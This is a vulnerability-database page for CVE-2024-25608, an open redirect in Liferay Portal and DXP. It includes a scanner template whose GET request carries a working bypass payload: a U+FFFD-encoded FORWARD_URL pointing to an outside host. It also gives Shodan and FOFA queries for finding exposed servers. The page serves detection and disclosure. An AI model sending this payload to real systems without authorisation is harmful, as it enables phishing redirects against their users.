/Vulnerability Library

Liferay Portal - Open Redirect

CVE-2024-25608
Verified

Description

HtmlUtil.escapeRedirect in Liferay Portal 7.2.0 through 7.4.3.18, and older unsupported versions, and Liferay DXP 7.4 before update 19, 7.3 before update 4, 7.2 before fix pack 19, and older unsupported versions can be circumvented by using the 'REPLACEMENT CHARACTER' (U+FFFD), which allows remote attackers to redirect users to arbitrary external URLs via the (1) 'redirect` parameter (2) `FORWARD_URL` parameter, (3) `noSuchEntryRedirect` parameter, and (4) others parameters that rely on HtmlUtil.escapeRedirect.

Severity

Medium

CVSS Score

6.1

Exploit Probability

1%

Affected Product

digital_experience_platform,liferay_portal

Published Date

December 23, 2025

Template Author

daffainfo

CVE-2024-25608.yaml
id: CVE-2024-25608

info:
  name: Liferay Portal - Open Redirect
  author: daffainfo
  severity: medium
  description: |
    HtmlUtil.escapeRedirect in Liferay Portal 7.2.0 through 7.4.3.18, and older unsupported versions, and Liferay DXP 7.4 before update 19, 7.3 before update 4, 7.2 before fix pack 19, and older unsupported versions can be circumvented by using the 'REPLACEMENT CHARACTER' (U+FFFD), which allows remote attackers to redirect users to arbitrary external URLs via the (1) 'redirect` parameter (2) `FORWARD_URL` parameter, (3) `noSuchEntryRedirect` parameter, and (4) others parameters that rely on HtmlUtil.escapeRedirect.
  impact: |
    Attackers can redirect users to arbitrary external URLs, potentially leading to phishing or malware distribution.
  remediation: |
    Update to the latest supported versions of Liferay Portal and DXP, applying all security patches.
  reference:
    - https://liferay.dev/portal/security/known-vulnerabilities/-/asset_publisher/jekt/content/cve-2024-25608
    - https://github.com/liferay/liferay-portal/commit/aea651fa5110934b6a00d93391fac87985e27786
    - https://github.com/liferay/liferay-portal/commit/36adf82ef7a09c7035d4f19a1982dcde1ae3f6ae
    - https://nvd.nist.gov/vuln/detail/CVE-2024-25608
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-25608
    epss-score: 0.0096
    epss-percentile: 0.56852
    cwe-id: CWE-601
    cpe: cpe:2.3:a:liferay:digital_experience_platform:*:*:*:*:*:*:*:*,cpe:2.3:a:liferay:liferay_portal:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: liferay
    product: digital_experience_platform,liferay_portal
    shodan-query: http.favicon.hash:129457226
    fofa-query: icon_hash=129457226
  tags: cve,cve2024,liferay,liferay-portal,digital-experience-platform,open-redirect,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/html/common/forward_jsp.jsp?FORWARD_URL=http://oast.me%EF%BF%BD@localhost"

    matchers-condition: and
    matchers:
      - type: word
        part: location
        words:
          - 'http://oast.me?@localhost'

      - type: status
        status:
          - 302
# digest: 4a0a00473045022043c64034022359de9f941a73e106821af6c282ffdfb108a7643296564d985f7a022100f4c32412aa38cdf59f10fb55023181c6f7f3c70018eec00d44ae70b755210a57:922c64590222798bb761d5b6d8e72950
6.1Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
CVE ID:
cve-2024-25608
CWE ID:
cwe-601

References

https://liferay.dev/portal/security/known-vulnerabilities/-/asset_publisher/jekt/content/cve-2024-25608https://github.com/liferay/liferay-portal/commit/aea651fa5110934b6a00d93391fac87985e27786https://github.com/liferay/liferay-portal/commit/36adf82ef7a09c7035d4f19a1982dcde1ae3f6aehttps://nvd.nist.gov/vuln/detail/CVE-2024-25608

Remediation Steps

Update to the latest supported versions of Liferay Portal and DXP, applying all security patches.